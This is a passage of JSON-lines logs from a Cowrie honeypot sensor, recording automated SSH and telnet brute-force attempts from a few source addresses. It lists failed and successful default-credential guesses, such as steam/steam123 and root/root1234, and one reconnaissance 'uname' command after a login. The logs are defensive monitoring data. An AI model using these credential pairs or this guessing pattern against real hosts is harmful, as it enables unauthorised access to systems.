-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:56.633337Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:56.880519Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:57.098485Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:57.102356Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:57.189922Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:57.195705Z","src_ip":"192.109.200.237","session":"746e4d59659f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38720,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63b12536397","protocol":"ssh","message":"New connection: 192.109.200.237:38720 (159.203.135.109:22) [session: b63b12536397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:00.114180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:00.119891Z","src_ip":"192.109.200.237","session":"b63b12536397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:00.204489Z","src_ip":"192.109.200.237","session":"b63b12536397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:00.459792Z","src_ip":"192.109.200.237","session":"b63b12536397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46594,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc7d1a3a0a3","protocol":"telnet","message":"New connection: 50.6.8.71:46594 (10.17.0.5:23) [session: dfc7d1a3a0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:01.416352Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:01.547079Z","src_ip":"192.109.200.237","session":"b63b12536397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38728,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5f67fd70c6","protocol":"ssh","message":"New connection: 192.109.200.237:38728 (159.203.135.109:22) [session: 2c5f67fd70c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:03.664712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:03.669825Z","src_ip":"192.109.200.237","session":"2c5f67fd70c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:03.755897Z","src_ip":"192.109.200.237","session":"2c5f67fd70c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:04.013466Z","src_ip":"192.109.200.237","session":"2c5f67fd70c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07621145248413,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:05.096557Z","src_ip":"50.6.8.71","session":"305f9ce70a26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:05.200687Z","src_ip":"192.109.200.237","session":"2c5f67fd70c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38732,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88f9419ddf5","protocol":"ssh","message":"New connection: 192.109.200.237:38732 (159.203.135.109:22) [session: f88f9419ddf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:07.121807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:07.127167Z","src_ip":"192.109.200.237","session":"f88f9419ddf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:07.211082Z","src_ip":"192.109.200.237","session":"f88f9419ddf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:07.467183Z","src_ip":"192.109.200.237","session":"f88f9419ddf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:08.557144Z","src_ip":"192.109.200.237","session":"f88f9419ddf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47656,"dst_ip":"159.203.135.109","dst_port":22,"session":"678a40199e69","protocol":"ssh","message":"New connection: 192.109.200.237:47656 (159.203.135.109:22) [session: 678a40199e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:10.589014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:10.598760Z","src_ip":"192.109.200.237","session":"678a40199e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:10.681153Z","src_ip":"192.109.200.237","session":"678a40199e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:10.943655Z","src_ip":"192.109.200.237","session":"678a40199e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:12.030225Z","src_ip":"192.109.200.237","session":"678a40199e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34268,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d48d1f8b4e","protocol":"telnet","message":"New connection: 50.6.8.71:34268 (10.17.0.5:23) [session: e1d48d1f8b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:13.357356Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47662,"dst_ip":"159.203.135.109","dst_port":22,"session":"8601b6e1d23a","protocol":"ssh","message":"New connection: 192.109.200.237:47662 (159.203.135.109:22) [session: 8601b6e1d23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.096597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.102834Z","src_ip":"192.109.200.237","session":"8601b6e1d23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.186649Z","src_ip":"192.109.200.237","session":"8601b6e1d23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34270,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae5e14cf31f","protocol":"telnet","message":"New connection: 50.6.8.71:34270 (10.17.0.5:23) [session: eae5e14cf31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.415546Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.439981Z","src_ip":"192.109.200.237","session":"8601b6e1d23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.61568260192871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:14.788916Z","src_ip":"50.6.8.71","session":"fa53abb34274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:15.641855Z","src_ip":"192.109.200.237","session":"8601b6e1d23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47666,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d030ca1afc","protocol":"ssh","message":"New connection: 192.109.200.237:47666 (159.203.135.109:22) [session: c2d030ca1afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:17.586110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:17.591061Z","src_ip":"192.109.200.237","session":"c2d030ca1afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:17.673906Z","src_ip":"192.109.200.237","session":"c2d030ca1afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:18.070347Z","src_ip":"192.109.200.237","session":"c2d030ca1afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:19.155929Z","src_ip":"192.109.200.237","session":"c2d030ca1afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59348,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9a56149c14","protocol":"ssh","message":"New connection: 192.109.200.237:59348 (159.203.135.109:22) [session: aa9a56149c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:21.280112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:21.286321Z","src_ip":"192.109.200.237","session":"aa9a56149c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:21.430734Z","src_ip":"192.109.200.237","session":"aa9a56149c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:21.677389Z","src_ip":"192.109.200.237","session":"aa9a56149c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:22.762549Z","src_ip":"192.109.200.237","session":"aa9a56149c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59354,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f73cd58a9a8","protocol":"ssh","message":"New connection: 192.109.200.237:59354 (159.203.135.109:22) [session: 0f73cd58a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:24.899799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:24.904901Z","src_ip":"192.109.200.237","session":"0f73cd58a9a8","protocol":"ssh"}
